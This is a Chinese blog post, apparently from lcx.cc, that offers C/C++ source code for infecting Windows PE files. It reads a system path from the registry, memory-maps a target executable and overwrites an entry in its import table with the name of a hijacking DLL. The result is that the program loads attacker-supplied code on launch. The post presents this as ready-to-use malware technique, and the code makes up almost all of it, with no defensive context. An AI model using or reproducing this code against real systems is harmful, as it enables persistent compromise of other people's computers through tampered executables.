感染PE文件导入表成员实现动态链接库劫持,C、C++ 源码

  • A+
所属分类:lcx

感染PE文件导入表成员实现动态链接库劫持,C、C++ 源码,感染 PE 导入表 动态链接库 劫持。

/************************************************************************/
/* 功能:通过注册表构造目标文件路径
/*																		
/* 返回:无																
/*																		
/* 名称:MakePath														
/*																		
/* 参一:注册表子键													
/*																		
/* 参二:键值												
/*																		
/* 参三:目标文件名称
/*																		
/* 参四:缓存												
/************************************************************************/

static void MakePath(LPCSTR sub,LPCSTR option,LPBYTE buffer,const char* name)
{
	HKEY  key;
	DWORD length=MAX_PATH;

	__try
	{
		if (RegOpenKeyEx(HKEY_LOCAL_MACHINE,sub,0,1,&key)) __leave;

		if (RegQueryValueEx(key,option,0,0,buffer,&length)) __leave;

		if (strcat_s(buffer,MAX_PATH,name)) __leave;
	}
	__finally
	{
		if (key) RegCloseKey(key);
	}
	return;
}
/************************************************************************/
/* 功能:感染PE文件导入表成员实现动态链接库劫持
/*																		
/* 返回:无																
/*																		
/* 名称:FileInfect														
/*																		
/* 参一:目标文件路径													
/*																		
/* 参二:导入表成员名称												
/*																		
/* 参三:劫持动态链接库名称
/************************************************************************/

static void FileInfect(LPCSTR path,const char* name,const char* replace)
{
	DWORD					  offset;
	LPVOID					  buffer;	
	HANDLE					  file;
	HANDLE					  mapping;
	LPBYTE					  module;
	PIMAGE_DOS_HEADER		  dos;
	PIMAGE_NT_HEADERS		  nt;
	PIMAGE_IMPORT_DESCRIPTOR  import;

	__try 
	{
		if ((file=CreateFile(path,FILE_ALL_ACCESS,0,0,3,0x80,0))==(void*)-1) __leave;

		if (!(mapping=CreateFileMapping(file,0,PAGE_READWRITE,0,0,0))) __leave;

		if (!(module=MapViewOfFile(mapping,FILE_MAP_ALL_ACCESS,0,0,0))) __leave;

		dos=(PIMAGE_DOS_HEADER)module;

		if (dos->e_magic!=IMAGE_DOS_SIGNATURE) __leave;

		nt=(PIMAGE_NT_HEADERS)(module+dos->e_lfanew);
		
		if (nt->Signature!=IMAGE_NT_SIGNATURE) __leave;

		offset=nt->OptionalHeader.DataDirectory[1].VirtualAddress;

		import=(PIMAGE_IMPORT_DESCRIPTOR)ImageRvaToVa(nt,module,offset,0);

		while(import->FirstThunk)   
		{   
			buffer=ImageRvaToVa(nt,module,import->Name,0);

			if (strcmp(buffer,name)==0)
			{
				strcpy_s(buffer,strlen(replace)+1,replace);

				break;
			}
			import++;   
		}
	}
	__finally
	{
		if (module)	 UnmapViewOfFile(module);

		if (mapping) CloseHandle(mapping);

		if (file)	 CloseHandle(file);
	}
	return;
}

文章来源于lcx.cc:感染PE文件导入表成员实现动态链接库劫持,C、C++ 源码

相关推荐: 维基解密公布大量美国安全智库邮件

路透伦敦2月27日电 维基解密周一开始将美国全球安全智库Stratfor的超过500万封电子邮件公之于众,这些邮件明显是黑客获得的。 维基解密并未说明如何获得如此大量的Stratfor内部和外部邮件。 与Anonymous组织相关的黑客曾於2012年初表示,已…

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: